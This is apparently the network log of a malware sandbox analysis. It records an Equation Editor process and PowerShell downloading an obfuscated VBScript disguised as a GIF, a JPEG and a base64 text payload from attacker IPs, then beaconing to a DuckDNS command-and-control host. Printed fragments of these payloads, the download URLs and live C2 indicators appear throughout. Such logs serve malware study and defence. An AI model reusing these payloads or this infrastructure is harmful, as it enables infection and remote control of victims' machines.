                    Jul 26, 2024 15:07:35.123913050 CEST1857649166192.3.101.142192.168.2.22
                    Jul 26, 2024 15:07:35.163644075 CEST4916618576192.168.2.22192.3.101.142
                    Jul 26, 2024 15:07:35.170691013 CEST1857649166192.3.101.142192.168.2.22
                    Jul 26, 2024 15:08:05.267693043 CEST1857649166192.3.101.142192.168.2.22
                    Jul 26, 2024 15:08:05.268956900 CEST4916618576192.168.2.22192.3.101.142
                    Jul 26, 2024 15:08:05.273983955 CEST1857649166192.3.101.142192.168.2.22
                    Jul 26, 2024 15:08:35.378547907 CEST1857649166192.3.101.142192.168.2.22
                    Jul 26, 2024 15:08:35.379884958 CEST4916618576192.168.2.22192.3.101.142
                    Jul 26, 2024 15:08:35.387181044 CEST1857649166192.3.101.142192.168.2.22
                    Jul 26, 2024 15:09:05.621236086 CEST1857649166192.3.101.142192.168.2.22
                    Jul 26, 2024 15:09:05.622549057 CEST4916618576192.168.2.22192.3.101.142
                    Jul 26, 2024 15:09:05.627933025 CEST1857649166192.3.101.142192.168.2.22
                    Jul 26, 2024 15:09:35.757616997 CEST1857649166192.3.101.142192.168.2.22
                    Jul 26, 2024 15:09:35.758558989 CEST4916618576192.168.2.22192.3.101.142
                    Jul 26, 2024 15:09:35.763614893 CEST1857649166192.3.101.142192.168.2.22

                    UDP Packets

                    TimestampSource PortDest PortSource IPDest IP
                    Jul 26, 2024 15:05:12.592513084 CEST5456253192.168.2.228.8.8.8
                    Jul 26, 2024 15:05:13.606350899 CEST5456253192.168.2.228.8.8.8
                    Jul 26, 2024 15:05:14.620397091 CEST5456253192.168.2.228.8.8.8
                    Jul 26, 2024 15:05:16.632944107 CEST5456253192.168.2.228.8.8.8
                    Jul 26, 2024 15:05:17.675323009 CEST53545628.8.8.8192.168.2.22
                    Jul 26, 2024 15:05:17.684412956 CEST53545628.8.8.8192.168.2.22
                    Jul 26, 2024 15:05:18.344069004 CEST53545628.8.8.8192.168.2.22
                    Jul 26, 2024 15:05:18.615916014 CEST53545628.8.8.8192.168.2.22
                    Jul 26, 2024 15:05:19.138792992 CEST5291753192.168.2.228.8.8.8
                    Jul 26, 2024 15:05:19.150634050 CEST53529178.8.8.8192.168.2.22

                    ICMP Packets

                    TimestampSource IPDest IPChecksumCodeType
                    Jul 26, 2024 15:05:17.684494019 CEST192.168.2.228.8.8.8d019(Port unreachable)Destination Unreachable
                    Jul 26, 2024 15:05:18.616045952 CEST192.168.2.228.8.8.8d009(Port unreachable)Destination Unreachable

                    DNS Queries

                    TimestampSource IPDest IPTrans IDOP CodeNameTypeClassDNS over HTTPS
                    Jul 26, 2024 15:05:12.592513084 CEST192.168.2.228.8.8.80xd97eStandard query (0)maveing.duckdns.orgA (IP address)IN (0x0001)false
                    Jul 26, 2024 15:05:13.606350899 CEST192.168.2.228.8.8.80xd97eStandard query (0)maveing.duckdns.orgA (IP address)IN (0x0001)false
                    Jul 26, 2024 15:05:14.620397091 CEST192.168.2.228.8.8.80xd97eStandard query (0)maveing.duckdns.orgA (IP address)IN (0x0001)false
                    Jul 26, 2024 15:05:16.632944107 CEST192.168.2.228.8.8.80xd97eStandard query (0)maveing.duckdns.orgA (IP address)IN (0x0001)false
                    Jul 26, 2024 15:05:19.138792992 CEST192.168.2.228.8.8.80x9fd9Standard query (0)geoplugin.netA (IP address)IN (0x0001)false

                    DNS Answers

                    TimestampSource IPDest IPTrans IDReply CodeNameCNameAddressTypeClassDNS over HTTPS
                    Jul 26, 2024 15:05:17.675323009 CEST8.8.8.8192.168.2.220xd97eNo error (0)maveing.duckdns.org192.3.101.142A (IP address)IN (0x0001)false
                    Jul 26, 2024 15:05:17.684412956 CEST8.8.8.8192.168.2.220xd97eNo error (0)maveing.duckdns.org192.3.101.142A (IP address)IN (0x0001)false
                    Jul 26, 2024 15:05:18.344069004 CEST8.8.8.8192.168.2.220xd97eServer failure (2)maveing.duckdns.orgnonenoneA (IP address)IN (0x0001)false
                    Jul 26, 2024 15:05:18.615916014 CEST8.8.8.8192.168.2.220xd97eServer failure (2)maveing.duckdns.orgnonenoneA (IP address)IN (0x0001)false
                    Jul 26, 2024 15:05:19.150634050 CEST8.8.8.8192.168.2.220x9fd9No error (0)geoplugin.net178.237.33.50A (IP address)IN (0x0001)false

                    HTTP Request Dependency Graph

                    • 192.3.176.154
                    • 198.46.176.133
                    • geoplugin.net

                    HTTP Packets

                    Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                    0192.168.2.2249163192.3.176.154802396C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE
                    TimestampBytes transferredDirectionData
                    Jul 26, 2024 15:05:05.119762897 CEST338OUTGET /50/screensimplethingstohandlecream.gIF HTTP/1.1
                    Accept: */*
                    Accept-Encoding: gzip, deflate
                    User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)
                    Host: 192.3.176.154
                    Connection: Keep-Alive
                    Jul 26, 2024 15:05:05.637413979 CEST1236INHTTP/1.1 200 OK
                    Date: Fri, 26 Jul 2024 13:05:05 GMT
                    Server: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.1.25
                    Last-Modified: Fri, 26 Jul 2024 03:41:57 GMT
                    ETag: "652f2-61e1e4b0be7df"
                    Accept-Ranges: bytes
                    Content-Length: 414450
                    Keep-Alive: timeout=5, max=100
                    Connection: Keep-Alive
                    Content-Type: image/gif
                    Data Raw: ff fe 64 00 69 00 6d 00 20 00 6d 00 6f 00 72 00 75 00 6c 00 61 00 20 00 0d 00 0a 00 6d 00 6f 00 72 00 75 00 6c 00 61 00 20 00 3d 00 20 00 72 00 6f 00 6d 00 70 00 65 00 6e 00 74 00 65 00 0d 00 0a 00 6d 00 6f 00 6e 00 6f 00 70 00 73 00 6f 00 28 00 22 00 67 00 61 00 6e 00 64 00 75 00 6d 00 22 00 29 00 20 00 26 00 20 00 6d 00 6f 00 72 00 75 00 6c 00 61 00 20 00 26 00 20 00 5f 00 0d 00 0a 00 6d 00 6f 00 6e 00 6f 00 70 00 73 00 6f 00 28 00 22 00 6d 00 75 00 63 00 75 00 6e 00 68 00 61 00 6d 00 62 00 61 00 6d 00 62 00 65 00 22 00 29 00 20 00 26 00 20 00 6d 00 6f 00 72 00 75 00 6c 00 61 00 20 00 26 00 20 00 5f 00 0d 00 0a 00 6d 00 6f 00 6e 00 6f 00 70 00 73 00 6f 00 28 00 22 00 78 00 61 00 6a 00 61 00 22 00 29 00 20 00 26 00 20 00 6d 00 6f 00 72 00 75 00 6c 00 61 00 20 00 26 00 20 00 5f 00 0d 00 0a 00 6d 00 6f 00 6e 00 6f 00 70 00 73 00 6f 00 28 00 22 00 69 00 6e 00 64 00 6f 00 63 00 69 00 6c 00 69 00 64 00 61 00 64 00 65 00 22 00 29 00 20 00 26 00 20 00 6d 00 6f 00 72 00 75 00 6c 00 61 00 20 00 26 00 20 00 [TRUNCATED]
                    Data Ascii: dim morula morula = rompentemonopso("gandum") & morula & _monopso("mucunhambambe") & morula & _monopso("xaja") & morula & _monopso("indocilidade") & morula & _monopso("X_HelpUris_005_0_Message") & morula & _monopso("gassaba") & morula & _monopso("encovilar") & morula & _monopso("X_HelpUris_008_0_Message") & morula & _monopso("X_HelpUris_009_0_Message") & morula & _monopso("X_HelpUris_010_0_Message") & morula & _monopso("L_HelpUris_0
                    Jul 26, 2024 15:05:05.637428045 CEST1236INData Raw: 31 00 31 00 5f 00 30 00 5f 00 4d 00 65 00 73 00 73 00 61 00 67 00 65 00 22 00 29 00 20 00 26 00 20 00 6d 00 6f 00 72 00 75 00 6c 00 61 00 20 00 26 00 20 00 5f 00 0d 00 0a 00 6d 00 6f 00 6e 00 6f 00 70 00 73 00 6f 00 28 00 22 00 4c 00 5f 00 48 00
                    Data Ascii: 11_0_Message") & morula & _monopso("L_HelpUris_012_0_Message") & morula & _monopso("X_HelpUris_013_0_Message") & morul
                    Jul 26, 2024 15:05:05.637439013 CEST1236INData Raw: 6f 00 72 00 75 00 6c 00 61 00 20 00 26 00 20 00 5f 00 0d 00 0a 00 6d 00 6f 00 6e 00 6f 00 70 00 73 00 6f 00 28 00 22 00 58 00 5f 00 48 00 65 00 6c 00 70 00 55 00 72 00 69 00 73 00 5f 00 30 00 31 00 35 00 5f 00 38 00 5f 00 4d 00 65 00 73 00 73 00
                    Data Ascii: orula & _monopso("X_HelpUris_015_8_Message") & morula & _monopso("L_HelpUris_015_9_Message") & morula & _monopso("L_
                    Jul 26, 2024 15:05:05.637887001 CEST1236INData Raw: 30 00 30 00 32 00 5f 00 30 00 5f 00 4d 00 65 00 73 00 73 00 61 00 67 00 65 00 22 00 29 00 20 00 26 00 20 00 6d 00 6f 00 72 00 75 00 6c 00 61 00 45 00 20 00 26 00 20 00 5f 00 0d 00 0a 00 6d 00 6f 00 6e 00 6f 00 70 00 73 00 6f 00 28 00 22 00 4c 00
                    Data Ascii: 002_0_Message") & morulaE & _monopso("L_HelpAlias_003_0_Message") & morulaE & _monopso("X_HelpAlias_004_0_Message") &
                    Jul 26, 2024 15:05:05.637902021 CEST1236INData Raw: 41 00 6c 00 69 00 61 00 73 00 5f 00 30 00 31 00 34 00 5f 00 30 00 5f 00 4d 00 65 00 73 00 73 00 61 00 67 00 65 00 22 00 29 00 20 00 26 00 20 00 6d 00 6f 00 72 00 75 00 6c 00 61 00 45 00 20 00 26 00 20 00 5f 00 0d 00 0a 00 6d 00 6f 00 6e 00 6f 00
                    Data Ascii: Alias_014_0_Message") & morulaE & _monopso("X_HelpAlias_015_0_Message") & morulaE & _monopso("phylloxera") & morulaE &
                    Jul 26, 2024 15:05:05.637913942 CEST1236INData Raw: 61 00 73 00 5f 00 30 00 30 00 38 00 5f 00 30 00 5f 00 4d 00 65 00 73 00 73 00 61 00 67 00 65 00 22 00 29 00 20 00 26 00 20 00 65 00 6d 00 6f 00 72 00 75 00 6c 00 61 00 45 00 20 00 26 00 20 00 5f 00 0d 00 0a 00 6d 00 6f 00 6e 00 6f 00 70 00 73 00
                    Data Ascii: as_008_0_Message") & emorulaE & _monopso("X_HelpAlias_009_0_Message") & emorulaE & _monopso("L_HelpAlias_010_0_Message
                    Jul 26, 2024 15:05:05.637927055 CEST1236INData Raw: 70 00 41 00 6c 00 69 00 61 00 73 00 5f 00 30 00 30 00 32 00 5f 00 30 00 5f 00 4d 00 65 00 73 00 73 00 61 00 67 00 65 00 22 00 29 00 20 00 26 00 20 00 6f 00 65 00 6d 00 6f 00 72 00 75 00 6c 00 61 00 45 00 20 00 26 00 20 00 5f 00 0d 00 0a 00 6d 00
                    Data Ascii: pAlias_002_0_Message") & oemorulaE & _monopso("L_HelpAlias_003_0_Message") & oemorulaE & _monopso("X_HelpAlias_004_0_M
                    Jul 26, 2024 15:05:05.637938023 CEST1236INData Raw: 20 00 6f 00 65 00 6d 00 6f 00 72 00 75 00 6c 00 61 00 45 00 20 00 26 00 20 00 5f 00 0d 00 0a 00 6d 00 6f 00 6e 00 6f 00 70 00 73 00 6f 00 28 00 22 00 4c 00 5f 00 48 00 65 00 6c 00 70 00 41 00 6c 00 69 00 61 00 73 00 5f 00 30 00 31 00 34 00 5f 00
                    Data Ascii: oemorulaE & _monopso("L_HelpAlias_014_0_Message") & oemorulaE & _monopso("X_HelpAlias_015_0_Message") & oemorulaE & _
                    Jul 26, 2024 15:05:05.637948990 CEST1236INData Raw: 20 00 20 00 20 00 20 00 20 00 3d 00 20 00 22 00 53 00 77 00 69 00 74 00 63 00 68 00 20 00 6e 00 6f 00 74 00 20 00 61 00 6c 00 6c 00 6f 00 77 00 65 00 64 00 20 00 77 00 69 00 74 00 68 00 20 00 74 00 68 00 65 00 20 00 67 00 69 00 76 00 65 00 6e 00
                    Data Ascii: = "Switch not allowed with the given operation: "private const L_UNKOPT_ErrorMessage = "Unknown switch: "priv
                    Jul 26, 2024 15:05:05.637959957 CEST1236INData Raw: 31 00 5f 00 4d 00 65 00 73 00 73 00 61 00 67 00 65 00 20 00 20 00 20 00 20 00 20 00 20 00 3d 00 20 00 22 00 55 00 6e 00 65 00 78 00 70 00 65 00 63 00 74 00 65 00 64 00 20 00 6d 00 61 00 74 00 63 00 68 00 20 00 63 00 6f 00 75 00 6e 00 74 00 20 00
                    Data Ascii: 1_Message = "Unexpected match count - one match is expected: "private const L_OPTNOTUNQ_Message = "Option is
                    Jul 26, 2024 15:05:05.645284891 CEST1236INData Raw: 63 00 74 00 65 00 64 00 29 00 22 00 0d 00 0a 00 70 00 72 00 69 00 76 00 61 00 74 00 65 00 20 00 63 00 6f 00 6e 00 73 00 74 00 20 00 4c 00 5f 00 4e 00 4f 00 4c 00 41 00 53 00 54 00 54 00 4f 00 4b 00 5f 00 4d 00 65 00 73 00 73 00 61 00 67 00 65 00
                    Data Ascii: cted)"private const L_NOLASTTOK_Message = "Invalid URI - cannot locate last token for root node name"private con


                    Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                    1192.168.2.2249164198.46.176.133803116C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                    TimestampBytes transferredDirectionData
                    Jul 26, 2024 15:05:08.585478067 CEST79OUTGET /Upload/vbs.jpeg HTTP/1.1
                    Host: 198.46.176.133
                    Connection: Keep-Alive
                    Jul 26, 2024 15:05:09.004371881 CEST1236INHTTP/1.1 200 OK
                    Date: Fri, 26 Jul 2024 13:05:08 GMT
                    Server: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.0.30
                    Last-Modified: Wed, 10 Jul 2024 11:19:54 GMT
                    ETag: "1d7285-61ce2d35c4b0c"
                    Accept-Ranges: bytes
                    Content-Length: 1929861
                    Keep-Alive: timeout=5, max=100
                    Connection: Keep-Alive
                    Content-Type: image/jpeg
                    Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 00 00 01 00 01 00 00 ff db 00 43 00 08 06 06 07 06 05 08 07 07 07 09 09 08 0a 0c 14 0d 0c 0b 0b 0c 19 12 13 0f 14 1d 1a 1f 1e 1d 1a 1c 1c 20 24 2e 27 20 22 2c 23 1c 1c 28 37 29 2c 30 31 34 34 34 1f 27 39 3d 38 32 3c 2e 33 34 32 ff db 00 43 01 09 09 09 0c 0b 0c 18 0d 0d 18 32 21 1c 21 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 ff c0 00 11 08 04 38 07 80 03 01 22 00 02 11 01 03 11 01 ff c4 00 1c 00 00 02 03 01 01 01 01 00 00 00 00 00 00 00 00 00 03 04 01 02 05 00 06 07 08 ff c4 00 55 10 00 02 02 01 03 02 04 03 05 06 03 05 06 02 01 15 01 02 03 11 00 04 12 21 31 41 05 13 22 51 61 71 81 06 14 32 91 a1 07 23 42 b1 c1 d1 52 62 f0 15 72 82 92 e1 24 33 a2 b2 d2 f1 16 43 53 c2 08 34 63 17 25 35 36 73 93 e2 26 44 83 54 74 b3 c3 18 a3 d3 ff c4 00 14 01 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ff c4 00 14 11 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED]
                    Data Ascii: JFIFC $.' ",#(7),01444'9=82<.342C2!!222222222222222222222222222222222222222222222222228"U!1A"Qaq2#BRbr$3CS4c%56s&DTt?~5*sRM9RWhco#4q7[B6v^Tgc"TY_xWeXBX50xFs,/*Qcq2lyoT^=ofRGZ>(O5ceu;XG8s!u_.?,~XW!?$[8j=>gA>jz[WX)jO:q3n3VmmPo.TzccJAV9gp4;p7!vS~B]b#vo.%6i!?5<IOK~klm(=B*,xGU5Pay'rErv^uYt7*0ur$UxA-OF9>uI^O^gy4A
                    Jul 26, 2024 15:05:09.004384995 CEST1236INData Raw: 70 9b 99 a5 de dc d9 e7 e1 ce 43 2e e2 4a 8e 39 fe 78 02 c9 15 df 24 ae de 08 e7 2c 17 69 24 8e 7b 60 55 94 81 c7 4c a8 bb e3 ae 15 ce e5 07 b6 50 29 ea 0d 60 10 48 c8 01 dc 6f b8 39 7f 3d ea fd 23 e0 3b e0 36 37 b7 d7 2c 8b 66 89 a0 d8 06 67 04
                    Data Ascii: pC.J9x$,i${`ULP)`Ho9=#;67,fg+{NmXm2CS(+"]meHR87j(3N{d"a``QX;e0`Y8l`XLOn{eXadN(ma]pQrXpIJI:
                    Jul 26, 2024 15:05:09.004395008 CEST1236INData Raw: 63 4c e9 0c 70 5c 60 8b 36 0f cc 64 96 29 a7 24 a9 e9 db 04 b1 2c ba 65 63 a8 00 29 e4 1e d8 02 dc fe 71 28 36 96 3e 9e 68 01 7c 65 b5 29 32 1b 96 cb 29 da 5b 75 f3 d7 0f f7 64 91 77 19 d5 52 bd 3c 65 9a 04 3a 32 ad 39 dc be aa 2b d7 e5 80 9c 9a
                    Data Ascii: cLp\`6d)$,ec)q(6>h|e)2)[udwR<e:29+,AOQlAy1H=h?K.TMKxajg$jkV1SG*A13E0DoE~52>)X5OnFQM*uQMVy#o\>5$0!\DYX`
                    Jul 26, 2024 15:05:09.004406929 CEST1236INData Raw: eb 61 9b 1b 8e 59 08 20 77 ef 81 b5 2f 89 15 06 c9 2d 5c 6d c4 1f 54 e1 fc c6 72 37 71 4c 7a fc b1 32 69 85 9d cc 4f 37 99 5a ed 73 b7 89 69 f4 b6 41 17 25 1f 6e 47 18 1b 52 eb 3f 7b cf 4f 7c 13 6a 06 e0 43 7d 31 39 81 65 b0 7b e5 51 59 85 12 70
                    Data Ascii: aY w/-\mTr7qLz2iO7ZsiA%nGR?{O|jC}19e{QYpXjp,GW$Uq^BV@.P{;0k`o`YMItwC$eE+0xfJ.NyW,sEui`/eh?OQQ#y1XOO5A`1-W(=+ED
                    Jul 26, 2024 15:05:09.004415989 CEST1236INData Raw: 57 5c 80 2a 60 74 ef 64 8b 00 03 63 8e 98 1e 82 09 cb 79 72 9a da 0d d1 1c e0 55 27 3a a2 c1 88 8d 89 24 5f e9 81 f0 fd e8 19 a5 05 a4 6e 83 fc 39 a0 a4 35 58 1f 2b c0 4b 59 a2 d2 95 f3 59 5c 16 34 0a 11 c6 66 a4 fa 8d 1b 95 0c 5e 26 fe 12 6c 30
                    Data Ascii: W\*`tdcyrU':$_n95X+KYY\4f^&l0*8<KHSQ7Y3&S\p)3v'r:/>2HPscb.F$e%*z*IMJ.D7}##H ml6fm"7LyF
                    Jul 26, 2024 15:05:09.004421949 CEST1236INData Raw: 06 4f 0b d1 be 96 3d 34 91 ab 2a 0a 56 dd 44 fc 6f df 03 c5 b9 32 29 42 6c d7 5a ba c1 4e ab b5 4a a6 c2 a2 98 ef 27 77 c6 b3 d1 ff 00 f0 c7 fd a9 48 d4 a9 80 9b 60 45 30 1f 0c 3e a7 c1 f4 d0 68 e6 54 49 5c b0 f4 95 50 cc be d5 df ae 07 8f 50 c6
                    Data Ascii: O=4*VDo2)BlZNJ'wH`E0>hTI\PP@"c4J22)Fpc,i^Hm4q`w12>8miUnq`f7m(/=EDZ}=>G7'BfHH8iV;B?{<i3nYvb}<
                    Jul 26, 2024 15:05:09.004431963 CEST1236INData Raw: 0d 34 6e c8 f4 ec 25 2c 79 da 45 d0 fc ab 03 61 20 d3 6d dd b1 16 bd 94 56 56 5d 3e 92 65 37 1a 5d 75 0b 99 9a 6d 43 a4 c1 0e 9a c9 dc 4b 95 da c3 9e e7 f8 b1 d9 4b ad 3a 00 3e 7d 30 31 fc 69 61 85 16 38 c2 07 2d b8 ed 51 d2 b1 3d 0a 22 d3 b9 a2
                    Data Ascii: 4n%,yEa mVV]>e7]umCKK:>}01ia8-Q="O_!;jzEcn'J]h0T5xr]UC*K)\Foi2(3++GE/&8eU[:dW)V?L(D(E7,h$`c}f )*nsgS
                    Jul 26, 2024 15:05:09.004441977 CEST1236INData Raw: 47 2d be 6b bb a0 06 3f 04 cd 0a 82 f0 2c 8a dc 0d d8 1e b9 be da e9 18 d7 95 29 3d bd 57 94 7f b7 3a 54 50 7e eb 2b 3d 55 93 9e 6a 2d 56 9b 54 ac 53 49 12 95 34 48 26 ef 17 95 d7 cc 56 11 2f c4 73 c6 07 a8 9b ed f6 8a 14 2c 74 ce 1a ba 6e ac cb
                    Data Ascii: G-k?,)=W:TP~+=Uj-VTSI4H&V/s,tnK MCsnk}0i>?3_cFi7AlSxtQMFzxYl``sA#~j9}$j}0=pk`ESqHx1>~M.#z_
                    Jul 26, 2024 15:05:09.004451036 CEST1236INData Raw: 3a 99 d6 dd ca ee 08 39 b5 20 96 f8 90 cc 09 cc fd 27 88 be 9f 49 a9 63 23 22 95 65 76 50 3d 41 81 1b 78 17 54 4e 01 24 f0 ff 00 0e d2 6b df 67 87 4a 49 a8 80 91 1e 22 24 60 76 95 2c c7 72 fa 4f 2d 5d af a9 cf 36 f3 69 54 ca 93 c3 b9 dc ee 49 76
                    Data Ascii: :9 'Ic#"evP=AxTN$kgJI"$`v,rO-]6iTIv14jpIF.UbX$Yi|*QUB81k}w1"eP}0cQ!K*AN=5; oVuvH[J}I#k&>$"d)v
                    Jul 26, 2024 15:05:09.005258083 CEST1236INData Raw: e0 67 6d c5 09 50 73 52 24 48 68 f9 44 b3 77 1d f0 00 be 1c 8d 09 7d c4 1b e9 8e 26 91 5f 44 04 67 d4 3a 7b 93 f1 cd 08 d0 08 8b 88 5b 81 7c f7 39 63 ab 54 8e 35 8e 05 5e 79 38 19 51 46 9a 92 f1 3a 95 65 50 2c 71 cd f2 79 c1 6a 22 68 11 63 0d 61
                    Data Ascii: gmPsR$HhDw}&_Dg:{[|9cT5^y8QF:eP,qyj"hca]4hv!)Q#=qr%N'IG[u{AMB<!lsR>C!6yx$XjO~k !<=o4s$,fYz,q*t*Ux+,NG*)UeUe
                    Jul 26, 2024 15:05:09.013931990 CEST1236INData Raw: 1d bc 4e 78 3c 18 cf 20 06 49 5b 6c 6b 5c 02 6e b9 f6 eb 87 9f 4d e2 6d 0f 99 0e b8 34 86 ed 55 56 af b8 07 03 40 09 37 72 48 f6 ac 29 91 c8 0c c0 0a 1c 57 7f 9e 23 e1 52 6a df 4b bf 56 de b2 68 02 a0 1f 6e d8 fb 80 c4 03 db 03 cc 78 9c 1a d8 b5
                    Data Ascii: Nx< I[lk\nMm4UV@7rH)W#RjKVhnxZ$T}&6FhQ&2+eEqv<G+ZGO!"=y#_o^m Pq.by/Dh-6q'@4)*}eb-G=\r(,}if,


                    Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                    2192.168.2.2249165192.3.176.154803116C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                    TimestampBytes transferredDirectionData
                    Jul 26, 2024 15:05:11.119251013 CEST74OUTGET /50/HNBC.txt HTTP/1.1
                    Host: 192.3.176.154
                    Connection: Keep-Alive
                    Jul 26, 2024 15:05:11.602677107 CEST1236INHTTP/1.1 200 OK
                    Date: Fri, 26 Jul 2024 13:05:11 GMT
                    Server: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.1.25
                    Last-Modified: Fri, 26 Jul 2024 01:08:07 GMT
                    ETag: "a1000-61e1c24e75450"
                    Accept-Ranges: bytes
                    Content-Length: 659456
                    Keep-Alive: timeout=5, max=100
                    Connection: Keep-Alive
                    Content-Type: text/plain
                    Data Raw: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 38 67 4b 50 49 79 44 62 38 77 45 50 73 77 44 43 37 77 2f 4f 63 76 44 73 37 51 35 4f 30 74 44 56 37 41 7a 4f 51 6f 44 37 36 77 73 4f 73 71 44 6a 36 77 6d 4f 45 70 44 4b 36 41 68 4f 49 6f 44 42 36 41 51 4f 38 6e 44 2b 35 51 66 4f 67 4f 44 4e 7a 41 6a 4d 6b 4b 44 6f 79 51 6f 4d 41 4b 44 66 79 41 6e 4d 59 4a 44 53 79 67 6a 4d 6f 49 44 47 78 67 65 4d 59 48 44 31 78 41 64 4d 4d 48 44 79 78 51 63 4d 41 48 44 76 78 67 62 4d 73 47 44 71 78 51 61 4d 67 47 44 6e 78 67 5a 4d 55 47 44 6b 78 77 59 4d 49 47 44 65 78 51 58 4d 77 42 41 41 41 77 49 41 48 41 42 41 41 41 67 50 6b 36 44 6b 2b 67 6f 50 30 35 44 62 2b 51 6d 50 63 35 44 57 2b 41 6c 50 38 34 44 4e 2b 41 69 50 59 34 44 45 2b 67 67 50 45 34 44 41 39 77 66 50 34 33 44 38 39 77 65 50 6b 33 44 30 39 67 63 50 30 32 44 72 39 51 61 50 63 32 44 65 39 41 [TRUNCATED]
                    Data Ascii: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA8gKPIyDb8wEPswDC7w/OcvDs7Q5O0tDV7AzOQoD76wsOsqDj6wmOEpDK6AhOIoDB6AQO8nD+5QfOgODNzAjMkKDoyQoMAKDfyAnMYJDSygjMoIDGxgeMYHD1xAdMMHDyxQcMAHDvxgbMsGDqxQaMgGDnxgZMUGDkxwYMIGDexQXMwBAAAwIAHABAAAgPk6Dk+goP05Db+QmPc5DW+AlP84DN+AiPY4DE+ggPE4DA9wfP43D89wePk3D09gcP02Dr9QaPc2De9AXPo1DZ9gUPo0DJ9gAPozDy8gKPIyDa8gEPowDC7g+OIvDq7g4OotDS7gyOIoD66gsOoqDi6gmOIpDK6QiOIkD65gcOomDi5wWOolDY5AUOgkDA4AOOAjDo4AIOghDQ4ACOEcD+3g9N4eDm3g3NYdDO3ghN4bD52wtNYbD02gsNAbDv2ApNIaDf2glNIZDR2giNkYDD2ggNAUD51AeNYXDp1gZN4VDb1AUNsUDJ1ASNcUDF1wQNEQD80gONkTD40gNNQTDy0QLNsSDm0AJNMSDi0AIN4RDc0wFNURDU0gENARDO0QDNYQDFzw/MsPDuzA7MkODlzA2MYNDTzwzMIMDAyQvMkLDsygqMcKDjyglMQJDRyQjMAED+xweMcHDqxAaMUGDhxAVMIFDPxwCM4DD8wQOMcDD1wAKMYCDjwQIM8BDSwAEM0ADLwQCAAEAkAYA4AAAA/A/Po/D3/w8PY+Dk/Q4P09DQ/gzPs8DH/wgP47Dt+wqPg6Dk+AoPs5DK+AiPU4DB9AdPInDe5AWOYlDV5AVOAlDP5wSOUkDD5gQOEkDA4wPO4jD64QOOUjDv4QLOwiDr4
                    Jul 26, 2024 15:05:11.602694988 CEST1236INData Raw: 67 4b 4f 6b 69 44 6f 34 41 4a 4f 4d 69 44 66 34 51 47 4f 63 68 44 57 34 51 46 4f 51 68 44 54 34 77 44 4f 34 67 44 4b 34 41 42 4f 49 67 44 42 34 41 77 4e 38 66 44 2b 33 67 2b 4e 6b 66 44 31 33 77 37 4e 30 65 44 73 33 77 36 4e 63 65 44 6d 33 67 34
                    Data Ascii: gKOkiDo4AJOMiDf4QGOchDW4QFOQhDT4wDO4gDK4ABOIgDB4AwN8fD+3g+NkfD13w7N0eDs3w6NceDm3g4NEeDd3w1NUdDU3A0NocDI3wxNYcDF3QgNsbD62AtNIbDx2AsN8aDu2gqNkaDl2wnN0ZDc2AmNcZDT2QjNsYDK2QiNUYDE2AQNoXD41wdNYXD11QcNAXDs1gZNQWDj1gYNEWDd1AXNgVDS1AUN8UDO1gSNkUDF0wPN
                    Jul 26, 2024 15:05:11.602705002 CEST1236INData Raw: 78 44 52 38 77 44 50 30 77 44 4c 38 51 43 50 63 77 44 46 38 77 41 50 45 73 44 2f 37 51 2f 4f 73 76 44 35 37 77 39 4f 55 76 44 7a 37 51 38 4f 38 75 44 74 37 77 36 4f 6b 75 44 6e 37 51 35 4f 4d 75 44 68 37 77 33 4f 30 74 44 62 37 51 32 4f 63 74 44
                    Data Ascii: xDR8wDP0wDL8QCPcwDF8wAPEsD/7Q/OsvD57w9OUvDz7Q8O8uDt7w6OkuDn7Q5OMuDh7w3O0tDb7Q2OctDV7w0OEtDP7QzOssDJ7wxOUsDD7QgO8rD96wuOkrD36QtOMrDx6wrO0qDr6QqOcqDl6woOEqDf6QnOspDZ6wlOUpDT6QkO8oDN6wiOkoDH6QhOMoDB5wfO0nD75QeOcnD15wcOEnDv5QbOsmDp5wZOUmDj5QYO8lDd
                    Jul 26, 2024 15:05:11.607662916 CEST1236INData Raw: 77 77 4f 49 41 41 41 41 41 4f 41 46 41 4f 41 41 41 41 4e 55 53 44 6b 30 77 49 4e 49 53 44 68 30 41 49 4e 38 52 44 65 30 51 48 4e 77 52 44 62 30 67 47 4e 6b 52 44 59 30 77 46 4e 59 52 44 55 30 77 45 4e 49 52 44 52 30 41 45 4e 38 51 44 4e 30 67 43
                    Data Ascii: wwOIAAAAAOAFAOAAAANUSDk0wINISDh0AIN8RDe0QHNwRDb0gGNkRDY0wFNYRDU0wENIRDR0AEN8QDN0gCNkQDI0wBNYQDF0ABNMQDB0AwM8PD+zQ/MwPD7zg+MgPD2AAAAcBQBQDgOsrD66QuOgrD36gtOUrD06wsOIrDx6AsO8qDu6QrOwqDr6gqOkqDo6wpOYqDl6ApOMqDi6QoOAqDf6gnO0pDc6wmOopDZ6AmOcpDW6QlO
